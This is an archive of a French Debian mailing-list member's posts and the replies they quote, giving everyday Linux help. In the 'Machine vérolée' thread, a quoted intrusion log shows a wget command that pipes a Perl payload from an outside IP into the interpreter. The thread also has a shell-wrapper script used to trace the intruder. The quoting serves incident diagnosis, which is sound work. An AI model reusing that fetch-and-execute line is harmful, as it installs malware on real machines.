et là encore je ne trouve rien (ou plutôt une ligne).

Y'a pas de docs ou c'est moi qui ne sais plut chercher?

cordialement,
marc

Re: sauvegarder le carnet d'adresse d'un telephone Android sur Debian Sid

[Erwann Le Bras]

bonsoir

moi je fais l'inverse : je synchronise les contacts enregistrés sur une 
instance owwnCloud privée vers plusieurs périphériques, dont un 
téléphone Android. DavX3 fais ça très bien.


Erwann

Le 30/10/2023 à 11:23, Basile Starynkevitch a écrit :

Bonjour,


Je dispose de plusieurs ordinateurs (sous Debian/Sid ou Ubuntu 23.10)  
avec des ports USB (avec accès à root, et pas mal de disque libre) et 
d'un téléphone portable Galaxy A12 SM A127F/DS sous Android 13.


J'ai bien sûr un cable USB-C pour brancher le téléphone portable sur 
l'un de mes ordinateurs


Je souhaiterais sauvargder le carnet d'adresses du téléphone sur 
l'ordinateur. Et peut-être réinitialiser complètement le téléphone, 
puis (si nécessaire) reintroduire le carnet d'adresses dans celui-ci.


D'après ce que j'en sais, ce carnet est une base de données Sqlite.

Comment procéder?


Merci

Librement

Re: Plus d'hibernate depuis bookworm

[Erwann Le Bras]

Le 10/10/2023 à 15:19, Daniel Caillibaud a écrit :
La mise en hibernation semble fonctionner, le réveil aussi, mais au 
réveil j'ai maintenant l'écran gdm3 qui me demande mon mot de passe, 
et là c'est très très lent (~20s entre l'appui sur une touche et 
l'affichage du point dans l'input), mais le login fonctionne, j'ai le 
bureau, un curseur de souris qui bouge, et c'est tout… rien d'autre ne 
répond (ctrl+alt+Fx, ctrl+alt+backSpace, ctrl+alt+suppr, alt+tab, 
toucheDuMenuGlobal, etc.) => reset hard obligatoire



bonjour

Peut-être trop d'impatience? il n'a peut-être pas eu le temps de tout 
remonter? C'est d'autant plus vrai que la RAM est importante.


sur mon bidule avec ses 4 Go,  il lui faut un bon moment avant d'être 
pleinement redémarré après une mise en hibernation .


c'est si peu efficace que je ne fais que des mises en veilles simples ou 
des arrêts propres. C'est souvent plus rapide


Erwann

Re: udev: Lancer un script à l'insertion d'une clé USB

[Erwann Le Bras]

Le 12/10/2023 à 09:06, fabrice a écrit :



Le montage automatique de la clé s’effectue après l’exécution de la 
règle udev, même si je tente une commande mount dans le script, 
/dev/sdd n’est pas encore disponible.





Une simple boucle d'attente?

do

    sleep 5

while ! [ -d /dev/sdd]


ou qchose d'approchant

Erwann

Re: les adresses d'expéditeur dans thunderbird

[Erwann Le Bras]

Le 01/08/2023 à 15:20, Matthieu Roquejoffre a écrit :

Le 01/08/2023 à 15:38, Erwann Le Bras a écrit :

Le 30/07/2023 à 12:47, steve a écrit :

Je rève d'un système ou on pourrait renseigner (par exemple dans le
carnet d'adresses) pour chaque destinataire avec quelle adresse
d'expédition on veut lui écrire, et qu'il se charge automatiquement
de mettre la bonne adresse d'expéditeur. Je veux dire qu'on puisse
envoyer un message en mettant plusieurs destinataires différents en
meme temps, et que ca parte pour chaque destinataire avec la bonne
adresse d'expéditeur.

Thunderbird fait ça très bien.

Dans ce cas peux-tu nous expliquer comment faire ?
J'ai beau chercher je ne trouve rien ni dans la documentation ni dans
l'application.


 * un compte par adresse mél. Chaque compte a sa propre arborescence,
   mais ce peut être unifié.
 * les expéditeurs sont dans le carnet d'adresse (nom, email). Il peut
   y avoir plusieurs emails par nom
 * dans le carnet d'adresse on peut créer des listes de destinataires

quand je crée un mél, je tape le nom de l'expéditeur et me rempli l'email.
Le nom d'expéditeur par défaut est celui du compte, mais je peux en 
choisir un autre parmi tous les comptes configuré


Dans une réponse, je peux faire "répondre à l'expéditeur" ou "répondre à 
la liste".


c'est le fonctionnement par défaut. J'utilise une extension (cardbook) 
qui me permet d'avoir mes contacts sur un serveur CalDav (chez moi 
Owncloud) et donc partagés avec plusieurs périphériques et clients de 
messagerie différents.


Erwann

Re: les adresses d'expéditeur dans thunderbird

[Erwann Le Bras]

Le 30/07/2023 à 12:47, steve a écrit :

Le 30-07-2023, à 13:45:44 +0200, hamster a écrit :

Je rève d'un système ou on pourrait renseigner (par exemple dans le 
carnet d'adresses) pour chaque destinataire avec quelle adresse 
d'expédition on veut lui écrire, et qu'il se charge automatiquement 
de mettre la bonne adresse d'expéditeur. Je veux dire qu'on puisse 
envoyer un message en mettant plusieurs destinataires différents en 
meme temps, et que ca parte pour chaque destinataire avec la bonne 
adresse d'expéditeur.


mutt


Thunderbird fait ça très bien.

Re: Impossible d'ouvrir /dev/ttyUSB0

[Erwann Le Bras]

Bonjour

Merci pour le retour et les liens. Je dois avoir un côté masochiste ; le 
fait d'utiliser Debian le fait soupçonner, faire de la plongée doit le 
confirmer .


J'ai regardé, je n'ai pas de problème au niveau système

   Jul 23 13:19:19 inspiron kernel: [461135.790487] usb 5-1: new
   full-speed USB device number 9 using uhci_hcd
   Jul 23 13:19:19 inspiron kernel: [461135.977762] usb 5-1: New USB
   device found, idVendor=10c4, idProduct=ea60, bcdDevice= 1.00
   Jul 23 13:19:19 inspiron kernel: [461135.977768] usb 5-1: New USB
   device strings: Mfr=1, Product=2, SerialNumber=3
   Jul 23 13:19:19 inspiron kernel: [461135.92] usb 5-1: Product:
   CP2109 USB to UART Bridge Controller
   Jul 23 13:19:19 inspiron kernel: [461135.96] usb 5-1:
   Manufacturer: Silicon Labs
   Jul 23 13:19:19 inspiron kernel: [461135.99] usb 5-1:
   SerialNumber: 0017C778
   Jul 23 13:19:19 inspiron kernel: [461135.984899] cp210x 5-1:1.0:
   cp210x converter detected
   Jul 23 13:19:19 inspiron kernel: [461135.989857] usb 5-1: cp210x
   converter now attached to ttyUSB0

Je soupçonne un problème de droit Snap pour accéder au /device/, je n'ai 
pas trouvé lequel


J'ai tenté de contourner le problème en installant le paquet deb de 
Subsurface, mais fait référence à un paquet déprécié 
(libgit2-27_0.27.7+dfsg.1-0.2+deb10u1_amd64.deb), l'actuel est le 2-28. 
Je suis encore en Bullseye, j'attendrai d'avoir migré en Bookworm (si 
mon Inspiron 1525 le veut bien ) pour réessayer.


En attendant, j'ai trouvé un AppImage du logiciel qui lui fonctionne. Je 
m'en contenterai donc


amitiés

Erwann

Le 15/07/2023 à 08:24, didier gaumet a écrit :

Le 14/07/2023 à 20:01, Erwann Le Bras a écrit :

bonjour

Sur Debian oldstable j'ai un logiciel Snap qui doit dialoguer avec 
une interface connectée sur /dev/ttyUSB mais n'y arrive pas.


Message d'erreur :

INFO: dev_info: Opening serial device /dev/ttyUSB0

[0.000209] ERROR: Operation not permitted (1) [in serial_posix.c:297 
(dc_serial_open)]

ERROR: Unsupported operation

L'interface est bien connectée, bien reconnue par /lsusb

Son port me semble correct :

/bin/ls -al /dev/ttyUSB0
crw-rw-rw- 1 root dialout 188, 0 14 juil. 18:48 /dev/ttyUSB0

L'utilisateur  fait bien partie du groupe "dialout"

Le message d'erreur me fait penser à pb de droits, mais je ne 
comprends pas lequel.


Pour être complet, j'essaie de faire communiquer un ordinateur de 
plongée (Mares Quad) avec le logiciel "Subsurface" via une interface 
USB Mares (Dive Link 2)
L'interface est bien connectée (diode verte) et l'ordinateur de 
plongée est bien en mode "PC Ready" (prêt à communiquer). La diode 
vire bien au rouge.


L'ordinateur de plongée est réputé pleinement compatible avec 
Subsurface.


Une idée?

Erwann



Puisque tu donnes le bâton pour te faire battre en demandant si 
quelqu'un a une idée, la mienne est que tu plonges allègrement dans 
les problèmes, au risque de te retrouver complètement perdu et de 
devoir trouver une âme charitable pour te mener à bon port ;-)


Plus sérieusement,
le lien suivant:
https://forums.debian.net/viewtopic.php?t=104381
m'a rappelé que les vrais (matériels) modems USB sont généralement sur 
les ports /dev/ttyACM0 et suivants, tandis que les faux (logiciels) 
modems USB sont sur les ports /dev/ttyUSB0 et suivants.

Une explication plus détaillée, là:
https://rfc1149.net/blog/2013/03/05/what-is-the-difference-between-devttyusbx-and-devttyacmx/ 



Dans le premier lien (relatif à Debian il y a 10 ans) on identifie le 
bon port par dmesg, de nos jours on fait ça par journalctl mais le 
principe reste identique


En espérant que ça marche :-)

Re: tightvnc vs. tigervnc vs. ?

[Erwann Le Bras]

bonsoir

Je l'utilise depuis Win10 et Debian avec le client tightvnc

- il est librement accessible depuis mon réseau interne (protégé de 
l'extérieur par un firewall)


- la connexion depuis l'extérieur passe par un tunnel SSH

Il faut rentrer un mot de passe spécifique pour accéder à la mire de 
connexion permettant d'ouvrir une connexion. Le bureau habituel est 
présenté. La mire et le bureau sont bien ceux qui seraient présentés 
lors d'une connexion locale.


Sauf erreur de ma part, c'est une nouvelle connexion qui est réalisée, 
je n'ai pas réussi à récupérer une connexion déjà ouverte.


Erwann

Le 17/07/2023 à 14:51, roger.tar...@free.fr a écrit :

Merci pour ton retour.

Avec quels clients te connectes-tu à ce tightvnc server ? Et depuis 
quels OS ?
Avec tunnel intégré dans le client, ssh ou autre ? (puisque VNC n'est 
pas sécurisé)


S'agissant du protocole VNC, peut-on dire que le bureau qui apparaîtra 
sera toujours celui configuré par son propriétaire ? (sans obligation 
d'installer un bureau léger comme xfce4 qui sera utilisé, etc.)



*De: *"Erwann Le Bras" 
*À: *"Liste Debian" 
*Envoyé: *Lundi 17 Juillet 2023 14:50:20
*Objet: *Re: tightvnc vs. tigervnc vs. ?

bonjour

J'ai tightvncserver installé, avec une autorisation configurée au 
niveau de lightdm.conf


tightvnc est léger ; j'en suis content, je n'ai pas de problème avec.

Erwann

Le 13/07/2023 à 21:34, roger.tar...@free.fr a écrit :

Bonjour,

debian 11 ou 12

Pour pouvoir utiliser avec n'importe quel client vnc (dont realvnc
client assez utilisé), quel serveur vnc faut-il privilégier ?
Je connais tightvnc et tigervnc.
J'ai déjà installé tigervnc il y a 3-4 ans et me souviens d'un
problème d'incompatibilité ou de difficulté à configurer un client
realvnc.

VNC est un protocole, mais l'implémentation peut varier...
Surtout, quel DE faut-il utiliser ? Je vois divers tutos en ligne
qui utilse xfce4.

Sinon, avez-vous déjà essayé le protocole RDP, avec Xrdp ? (pareil
; le client RDP semble répandu)
Est-ce pareil, mieux, moins bien que VNC ?

Merci

Re: tightvnc vs. tigervnc vs. ?

[Erwann Le Bras]

bonjour

J'ai tightvncserver installé, avec une autorisation configurée au niveau 
de lightdm.conf


tightvnc est léger ; j'en suis content, je n'ai pas de problème avec.

Erwann

Le 13/07/2023 à 21:34, roger.tar...@free.fr a écrit :

Bonjour,

debian 11 ou 12

Pour pouvoir utiliser avec n'importe quel client vnc (dont realvnc 
client assez utilisé), quel serveur vnc faut-il privilégier ?

Je connais tightvnc et tigervnc.
J'ai déjà installé tigervnc il y a 3-4 ans et me souviens d'un 
problème d'incompatibilité ou de difficulté à configurer un client 
realvnc.


VNC est un protocole, mais l'implémentation peut varier...
Surtout, quel DE faut-il utiliser ? Je vois divers tutos en ligne qui 
utilse xfce4.


Sinon, avez-vous déjà essayé le protocole RDP, avec Xrdp ? (pareil ; 
le client RDP semble répandu)

Est-ce pareil, mieux, moins bien que VNC ?

Merci

Impossible d'ouvrir /dev/ttyUSB0

[Erwann Le Bras]

bonjour

Sur Debian oldstable j'ai un logiciel Snap qui doit dialoguer avec une 
interface connectée sur /dev/ttyUSB mais n'y arrive pas.


Message d'erreur :

INFO: dev_info: Opening serial device /dev/ttyUSB0

[0.000209] ERROR: Operation not permitted (1) [in serial_posix.c:297 
(dc_serial_open)]

ERROR: Unsupported operation

L'interface est bien connectée, bien reconnue par /lsusb

Son port me semble correct :

/bin/ls -al /dev/ttyUSB0
crw-rw-rw- 1 root dialout 188, 0 14 juil. 18:48 /dev/ttyUSB0

L'utilisateur  fait bien partie du groupe "dialout"

Le message d'erreur me fait penser à pb de droits, mais je ne comprends 
pas lequel.


Pour être complet, j'essaie de faire communiquer un ordinateur de 
plongée (Mares Quad) avec le logiciel "Subsurface" via une interface USB 
Mares (Dive Link 2)
L'interface est bien connectée (diode verte) et l'ordinateur de plongée 
est bien en mode "PC Ready" (prêt à communiquer). La diode vire bien au 
rouge.


L'ordinateur de plongée est réputé pleinement compatible avec Subsurface.

Une idée?

Erwann

Re: Re : on/off alimentation port USB

[Erwann Le Bras]

moi aussi je suis distrait.

Du coup je note tout sur un wiki, inaccessible de l'extérieur. J'ai pris 
Mediawiki car j'ai déjà un mariadb qui tourne pour d'autres usages mais 
il en existe des portables sans base de données.


bonne journée

Erwann

Le 08/07/2023 à 11:06, didier gaumet a écrit :

Le 08/07/2023 à 11:01, Fabien R a écrit :


udisksctl devrait faire l'affaire.


Ah cool, je ne connaissais pas cette commande, merci :-)

Manque de bol, compte-tenu de ma distraction, dès la fin de la journée 
j'aurai probablement oublié son existence ;-)

Re: Machine vérolée

[Erwann Le Bras]

Je ne l'aurais pas cru...


Le 27/06/2023 à 16:40, BERTRAND Joël a écrit :

BERTRAND Joël a écrit :

OK, je l'ai.

2023-06-27T09:12:18.564606+02:00 rayleigh www-data[10579]: shell -c cd
/dev/shm;wget -O -http://68.235.39.225/sepax|perl
2023-06-27T09:12:21.381703+02:00 rayleigh www-data[10583]: shell -c cd
/dev/shm;wget -O -http://68.235.39.225/sepax|perl

J'ai le script perl (mais vous pouvez aussi le télécharger). Je ne sais
toujours pas qui le lance, mais on progresse.

Et le fautif semble être... SPIP ! Et je ne parle pas d'un SPIP
antédiluvien, mais d'un SPIP 4.1 à jour (4.1.10). J'en ai deux qui se
font fait percer. Mais pas de la même manière. Le premier avait des
fichiers .php étranges dans sa racine : spip__.php et des choses comme
response.php. Le second avait un spip_loader.php qui embarquait un binaire.

Re: Debian 12 - Migrer de 10 vers 12 ?

[Erwann Le Bras]

bonjour

disons qu'elle est très -trop- détaillée?

elle a l'avantage d'être complète et passer en revue les différentes 
étapes, les principaux problèmes courants et leur solution.


C'est une doc d'exploitation à des fins de pilotage, c'est à dire 
qu'elle décrit tout le processus de migration pour quelqu'un qui ne l'a 
jamais fait, mais détaille également à un néophyte ce que fait chaque


Moi qui ne suis pas à l'aise avec des montées de version, (j'ai pourtant 
commencé avec Debian 6 je crois bien)je la suis sans pb et ces 
explications rassurantes. La résolution des pb les plus courants 
directement en ligne est rassurant et m'a dépanné et évité de chercher 
des solutions on ne sait où.


La doc est conforme aux standard Debian qui mériterait effectivement 
d'être modernisé.


Le 24/06/2023 à 13:09, RogerT a écrit :

Merci pour le pointeur.

Cette documentation est démentielle.
Trop de texte, trop de détails, pas assez de mise en évidence des éventuelles 
recettes directement applicables. Il faut tout lire pour en extraire quoi faire.

Imaginons un débutant tomber là-dessus… Il fuira.

Après tout, l’utilitaire de mise à niveau ne devrait-il pas traiter 
automatiquement l’essentiel des cas possibles ?

En fait, les séquences de commandes déjà discutées dans ce fil sont infiniment 
plus simples et exploitables.


Le 22 juin 2023 à 09:56, Frédéric BOITEUX  a écrit :



A chaque mise à jour, j'écume les tutos pour savoir si la procédure n'aurait 
pas changé ou s'il faut prévoir des choses parfois publiées.

S'il y a une doc à lire, c'est celle des Notes de publication de chaque 
nouvelle version Debian, qui détaille comment effectuer la migration vers cette 
nouvelle version. Pour Debian 12 Bookworm, elle se situe ici 
:https://www.debian.org/releases/stable/amd64/release-notes/index.fr.html

Cdlt,
Fred.

Re: Machine vérolée

[Erwann Le Bras]

bonjour

plusieurs pistes :

- un truc qui se lance au démarrage de la machine et reste bien planqué 
qui lance la saleté de temps en temps) ?
Je pense par exemple, s'il a exploité une faille de Apache à la base, a 
pu modifié la config pour se lancer? Ou au boot de la machine 
(systemctl) si les privilèges acquis permettaient d'avoir les droits "root"


-SPIP est basé sur PHP ; je ne pense pas que le système SPIP lui-même 
serait touché (pas assez populaire) , mais les lancement de PHP?


-Même remarque avec Perl, puisqu'il tourne avec.

- Tu as fait un script /bin/sh, c'est très bien... à condition qu'il 
passe bien par sh et pas directement par un autre shell. dans ce cas, 
renommer tous les shelles présents  en .sav, les remplacer par des liens 
vers ton /bin/sh, et enfin lancer le script légitime avec le  shell 
d'origine.sav.


bon courage, on l'aura

Le 26/06/2023 à 10:56, BERTRAND Joël a écrit :

Sébastien Dinot a écrit :

BERTRAND Joël a écrit :

Porte d'entrée trouvée :

Merci pour ce retour, toujours intéressant à avoir.

Porte d'entrée trouvée, mais il reste des scories. Je suis en train de
logguer ce que fait sh pour savoir quel est le processus qui me
réinstalle le vers régulièrement. Le truc est bien planqué et est revenu
à la charge plusieurs fois ce matin. Bon, il ne peut rien faire puisque
les ports sur lesquels il veut se connecter sont fermés sur le firewall,
mais c'est pénible. Ce n'est visiblement pas lancé par un cron (pas de
régularité).

J'utilise un /bin/sh qui fait cela :

#!/bin/bash

if [ $1 == "/usr/bin/rlog" ]; then exit 0; fi
if [ $1 == "/usr/bin/rcsdiff" ]; then exit 0; fi
logger -i "shell $*"
for i in $(pstree -p); do logger -i $i; done

exec $*

Est-ce que vous voyez plus efficace ? Le vers en question lance d'abord
un script sh qui daemonise un exécutable perl. Je cherche à savoir qui
lance cette saleté (sans doute www-data) mais surtout quel est
l'exécutable. Je subodore qu'il est au chaud quelque part dans le fond
d'une arborescence de www-data, mais rien ne me saute aux yeux.

JB

Re: Machine vérolée

[Erwann Le Bras]

merci du retour d'expérience, c'est intéressant.
D'où l'importance des patchs de sécurité à passer le plus tôt possible.

Erwann

Le 23/06/2023 à 11:35, Sébastien Dinot a écrit :
je devais compiler moi-même le noyau au lieu d'utiliser celui fourni 
par Debian, chose que je faisais rarement par flemme (les attaquants 
avaient utilisé une faille d'Apache qui n'avait existé que 3 jours sur 
Debian – pas de bol – puis ils avaient obtenu plus de privilèges en 
exploitant une faille dans le noyau, corrigée depuis bien longtemps 
par Debian) 

Re: date de sortie prévisionnelle de Debian 12 Bookworm: le 10 juin 2023

[Erwann Le Bras]

bonjour

Pour moi, ça dépend :

 * si tu t'identifie sur la console texte pour lancer l'interface
   graphique là oui, elle est lancée avec ton ID
 * si c'est le système qui démarre X et ensuite tu t'identifies sur la
   mire X11, c'est forcément root le propriétaire.

Chez moi j'ai :

root    6608   1  0 avril12 ? 00:00:09 /usr/sbin/lightdm
root    6623    6608  0 avril12 tty7   04:51:46 /usr/lib/xorg/Xorg 
:0 -seat seat0 -auth /var/run/lightdm/root/:0 -nolisten tcp vt7 -novtswitch
root    6968    6608  0 avril12 ?  00:00:00 lightdm 
--session-child 16 25

erwann  7026    6968  0 avril12 ?  00:00:02 xfce4-session
erwann  7092    7026  0 avril12 ?  00:00:02 /usr/bin/ssh-agent 
/usr/bin/im-launch startxfce4
erwann  7160    7000  0 avril12 ?  00:00:05 
/usr/lib/x86_64-linux-gnu/xfce4/xfconf/xfconfd


Le système démarre X et je me loggue ensuite sur l'invite graphique.

Erwann

Le 04/05/2023 à 10:19, didier gaumet a écrit :
mais j'avais cru comprendre qu'historiquement X11 était lancé par root 
surtout pour pouvoir accéder aux ressources nécessaires, et qu'au fil 
du temps on a découvert des failles potentielles de sécurité qui 
rendaient ce mode de fonctionnement indésirable. On privilégie donc a 
priori de nos jours un lancement de X11 par un utilisateur "ordinaire". 

Re: Recherche iso strech (debian 9)

[Erwann Le Bras]

bonjour

Je doute que ce soit lié à la version de Debian :

j'ai Debian 11 installé sur un Dell Inspiron 1524  et un Samsung NC10.

LXDE sert l'interface graphique. Ça tourne, sans être forcément rapide.

Le 29/03/2023 à 14:55, Norbert Ponce a écrit :

Bonjour,
Je suis à la recherche d'une strech 9 pour la réinstaller sur un vieux 
Toshiba Satellite P 500. J'ai tenté une version 10 mais il y a trop de 
problèmes (manque de mémoire?).
Après une mise en veille sur cette version 10, l'écran est brouillé au 
réveil et il faut relancer la machine.

Je n'ai pas trouvé de lien de téléchargement sur le wiki Debian.
Merci

Re: Kindle ?

[Erwann Le Bras]

oui, à priori Calibre sait gérer les fichiers Kindle.

Il y a des références à Kindle dans la doc Calibre.

Le 01/03/2023 à 15:58, hamster a écrit :

Le 01/03/2023 à 15:22, ptilou a écrit :

Slt,

Je cherche si il existe un moyens de voir et lire sa biblio kindle, 
sans paser par un emulateur ou un paquet apk ?


J'avais réussi a le faire avec calibre, j'avais meme pu écrire des 
ebooks dans la mémoire de la kindle. Vu que je n'ai plus la kindle qui 
m'avait servi a essayer, je peux pas le refaire pour te dire comment.

Re: NAS + serveur de fichier SMB NFS SFTP avec Debian 11

[Erwann Le Bras]

bonjour

oui, tout-à-fait, ya toutes les briques qu'il faut dans Debian, faut 
mettre les mains dans les fichiers de config.


bien réfléchir en amont à l'organisation des fichiers et comment on y accède

Installer un Debian sans interface graphique, accessible seulement avec 
SSH puis enchaîner avec les fonctionnalités désirées : NFS, SMB puis 
PXE/SFTP.


ne pas oublier l'aspect sécurité et les sauvegardes!

bon courage et très bonnes fêtes de fin d'année.

Le 26/12/2022 à 16:05, Olivier Back my spare a écrit :

Bonjour

Est-il possible de faire un NAS serveur de fichier SMB NFS SFTP + LDAP 
avec un Debian?
J'ai acheté un nouvel ordinateur pour ma mère et j'ai récupéré son 
vieux i3 8 Go de RAM, 1 To de HDD.
Je voudrais en faire un NAS serveur de fichier SMB NFS SFTP + LDAP 
sans utiliser Openvault. Est-ce possible d'obtenir le même résultat 
avec Debian 11?
Je compte mettre un ssd 128 Go pour l'OS et le swap et 2 HDD 4 To avec 
une carte raid 1 sata "SSU-sata3-t2.v1" pour les datas.


Cordialement

Re: wget et ping refusent d'utiliser l'adresse source spécifiée

[Erwann Le Bras]

bonsoir

il ne manquerait pas une route pour utiliser l'interface en 10.90.90 
pour joindre spécifiquement ce sous-réseau?


Ta route par défaut doit indiquer d'utiliser la mauvaise interface 
réseau, d'où l'échec du ping.


Le 12/12/2022 à 18:07, Olivier a écrit :

Bonjour,

J'ai une machine distante sous Stretch indirectement connectée à un
nouveau commutateur DLink de la façon suivante:
Serveur - Switch Mikrotik - Switch DLink

Comme chacun sait, les nouveaux commutateurs DLink sont livrés avec
une IP par défaut égale à 10.90.90.90/8.

Afin de configurer ce switch pour la première fois, j'ai attribué à
mon serveur l'IP 10.90.90.91/24 à l'unique interface Ethernet  de mon
serveur (avec la commande ip addr add 10.90.90.91/8 dev eno1).

À ma grande surprise, chaque ping depuis le serveur vers le nouveau
commutateur, avec la commande ping -c1 -I 10.90.90.91 10.90.90.90,
échoue (pas de réponse)

J'ai pourtant utilisé des dizaines et des dizaines de fois l'option -I
de ping permettant de spécifier l'adresse ou l'interface source
utilisée lors du ping.

Avec la commande tshark, j'ai:

# tshark -f 'ip host 10.90.90.90' -i eno1
Running as user "root" and group "root". This could be dangerous.
Capturing on 'eno1'
 1 0.0 192.168.1.24→ 10.90.90.90  ICMP 98 Echo (ping)
request  id=0x15e9, seq=1/256, ttl=64

Ceci me laisse penser que l'option -I est ignorée puisque le serveur
semble émettre avec son adresse par défaut 192.168.1.24.

En utilisant une commande wget --bind-address 10.90.90.91
http://10.90.90.90, tshark indique une IP source en 192.168.1.24 et
non en 10.90.90.91, comme demandé.

En attribuant une autre adresse du réseau 10.0.0.0/8 au switch
Mikrotik, le ping de celui-ci vers 10.90.90.90 réussit, ce qui me
confirme que le switch DLink répond.

Une piste ?

Slts

Re: Éditeur collaboratif

[Erwann Le Bras]

Le 11/12/2022 à 07:52, Pierre Couderc a écrit :


https://www.dokuwiki.org/dokuwiki ?

Yeswiki, ce n'est pas possible, ils utilisent l'anti français 
(écriture dite inclusive) !



Rôôô tout de suite... 

ça reste en option, moi je ne l'utilise pas.

Erwann

Re: Éditeur collaboratif

[Erwann Le Bras]

bonsoir

au vu de ce que j'ai lu comme besoin :

 * un wiki, avec une page par enfant, puis une page par intervenant,
   préparé par l'admin
   le wiki n'autorise que l'auteur à modifié sa page mais tout est en
   lecture pour tout le monde
   mediawiki, (le moteur le Wikipedia) très riche et très suivi ou
   YesWiki, issu de Wikini, très simple d'utilisation
 * comme évoqué, un CMS genre SPIP ou Drupal,

amitiés

Erwann

Le 10/12/2022 à 17:04, Alex PADOLY a écrit :


Bonsoir à tous,


Connaissez-vous un éditeur collaboratif ou un utilisateur ne peut 
effacer uniquement ce qu'il a écrit.


Merci beaucoup pour vos conseils

Re: Conseils sur PXE pour l'installation de serveurs

[Erwann Le Bras]

bonsoir

à mon sens, c'est une très bonne idée d'utiliser un serveur PXE pour des 
installations car cela évite de s’embêter avec un jeu de CD ou de clé USB.
Enfin, si le client le permet. A part des modèles antediliviens, tous 
savent démarrer en PXE.


PXE sert pour l'amorçage ; une fois démarré, on se retrouve comme si on 
avait démarré sur une clé USB ou sur un CD. D'ailleurs, PXE permet de 
télécharger, monter et booter directement sur un ISO (mais attention à 
sa taille il est téléchargé et monté en RAM).


Le client a tout ce qu'il faut en natif pour rechercher et booter sur un 
serveur PXE présent.


Le serveur PXE présente au client un menu (pour choisir le système à 
démarrer) ou a des consignes pour que le client télécharge directement 
une amorce, par TFTP, HTTP ou NFS le plus souvent.


Une fois cette amorce chargé, le reste du démarrage continue comme pour 
un CD ; donc oui, à mon sens, il est possible de faire tout ce que le 
démarrage  "standard" prévoit.


Debian propose un kit d'install prévu pour être démarré par PXE. Il 
suffit de le télécharger et d'indiquer au serveur de démarrer dessus.
On les trouve par exemple sur 
https://pkgmaster.devuan.org/devuan/dists/beowulf/main/installer/current/images/netboot


amuse-toi bien

Erwann

Le 08/12/2022 à 18:19, Olivier a écrit :

Bonjour,

Je souhaite me lancer dans l'utilisation du PXE pour initialiser des
serveurs x86 classiques le permettant.

Actuellement, j'initialise ces serveurs en utilisant une clé USB sur
laquelle j'ai copié un fichier ISO comme celui en [1].

Pour l'initialisation par PXE, j'ai compris qu'il fallait utiliser un
fichier du type netboot.tar.gz à la place de ces fichiers ISO.

1. Existe-t-il de tels fichiers netboot.tar.gz incluant aussi les
firmware exotiques pour le cas où le serveur en aurait besoin ?

2. Beaucoup de machines savent démarrer en mode EFI ou en mode Legacy.
C'est souvent configurable au niveau du BIOS.
Je n'ai pas de connaissance des enjeux liés à ce choix.
Quels sont-ils ?
  Y a-t-il des précautions particulières à prendre à cet égard (en
sélectionnant via le BIOS, le mode EFI ou Legacy) ou bien on ne risque
pas grand chose à laisser le hasard faire les choses (ie on prépare le
serveur PXE pour qu'il sache répondre à tout type de demande (EFI,
...) ?

3. J'ai l'habitude de fournir un fichier preseed.cfg volontairement
incomplet quand j'installe par clé USB. Les réponses non renseignées
dans le fichier preseed.cfg sont demandées à l'écran.
A-t-on toujours cette possibilité avec PXE ou bien faut-il
impérativement répondre à toutes les questions.

4. Il m'est arrivé (rarement, heureusement) de rencontrer des serveurs
NUC dont l'interface réseau était mal supportée par Stretch.
Est-il possible de lancer une initialisation par PXE sur un adaptateur
réseau externe (sur port USB) (je n'ai jamais vu ce type d'option mais
sait-on jamais)

[1]https://cdimage.debian.org/cdimage/unofficial/non-free/cd-including-firmware/11.5.0+nonfree/multi-arch/iso-cd/firmware-11.5.0-amd64-i386-netinst.iso

Slts

Re: Ubuntu

[Erwann Le Bras]

bonsoir

pour moi, Ubuntu et Debian sont 2 distributions différentes (bien que 
Ubuntu soit basée sur Debian) qui s'adresse à des publics différents :


 * Ubuntu est un produit "grand public", pas forcément connaisseur de
   Linux, qui recherche la simplicité d'installation et d'utilisation
   et des logiciels à jour.
   C'est Debian avec la surcouche Canonical permettant l'accessibilité
   et la facilité de Debian.
 * Debian c'est la base : un ensemble de briques pour construire un
   système complet à la demande. Donc un truc plus de connaisseurs, et
   suffisamment robuste pour s'utiliser en entreprise ou en labo.

Debian c'est des Lego : on s'amuse, on expérimente ou on fait des 
assemblages "sérieux" à la Lego Masters.


Canonical distribue les /sets /Lego déjà montés et les briques collées 
les unes aux autres pour pas casser l'ensemble.


Erwann

Le 04/11/2022 à 20:44, Marc Chantreux a écrit :

salut à tous,

Puisqu'on parle d'Ubuntu: j'aimerais bien un retour d'experience:
j'étais debianiste avant qu'ubuntu n'apparaisse et je compare les deux
OS ainsi:

* techniquement, ubuntu n'a rien apporté d'autre que les emmerdes
   techniques qui justifient son support commercial
* en ayant arrosé la planète de CDs d'install gratuits et intégré les
   firmwares à leur install, Ubuntu est clairement la distro qui a le
   plus participé à faire connaitre linux au grand public.
* avec l'officialisation de backports et l'installer debian non-officiel
   (et l'intégration des firmwares dans l'install de base à partir de
   la prochaine version), je ne comprend plus très bien l'intéret
   d'ubuntu de nos jours.
* je constate autour de moi qu'ubuntu est délaissé au profit d'autres
   derrivés (mint principalement) ou de debian lui-même.

idéalement, j'aimerais bien objectiver tout ça et tout retour m'intéresse.

cordialement,
marc

Re: Grosse fatigue

[Erwann Le Bras]

Bonjour

Le 23/09/2022 à 10:31, Erwann Le Bras a écrit :
[...]
chez moi usrmerge n'est pas installé et Debian ne m'a jamais obligé à 
l'installer.

J'ai /usr dans /, je n'ai jamais vu l'intéret de les séparer

Je suis en Debian stable (11.5).


Si tu as fait un upgrade d'une version antérieure, pas d'usrmerge. 
Installation fraîche: usrmerge installé.



ah bah voilà. Ça doit être comme mes ports réseaux qui s'appellent 
encore "lo0", "eth0" et "eth1" sur mon serveur.


sur le serveur c'est la même install depuis Debian 8, qui a changé de 
disques et de machine.



amitiés,

--

Erwann

Re: Grosse fatigue

[Erwann Le Bras]

bonjour

je n'ai jamais constaté ce comportement :
sur mon ordi il arrive -rarement, mais je ne sais pas pourquoi- que 
lightdm parte en vrille et je dois le redémarrer par 'systemctl restart 
lightdm' depuis la console locale en root.
Ma session utilisateur est fermée, et les les processus correctement 
stoppés.
("ps -fu //" ne retourne rien, rien de suspect dans 
l'activité CPU/RAM au bout d'un instant)


Je peux me reconnecter sans soucis et relancer mes applis.
Certes, je perds le travail non sauvegardé mais je me suis habitué à 
sauvegarder souvent mon travail.


chez moi usrmerge n'est pas installé et Debian ne m'a jamais obligé à 
l'installer.

J'ai /usr dans /, je n'ai jamais vu l'intéret de les séparer

Je suis en Debian stable (11.5).


Ce matin, une fois de plus, systemd a cru bon tuer X et, incidemment,
toutes les applications en cours (me contraignant à repartir de la
sauvegarde de la nuit, je n'ai heureusement perdu qu'une heure de
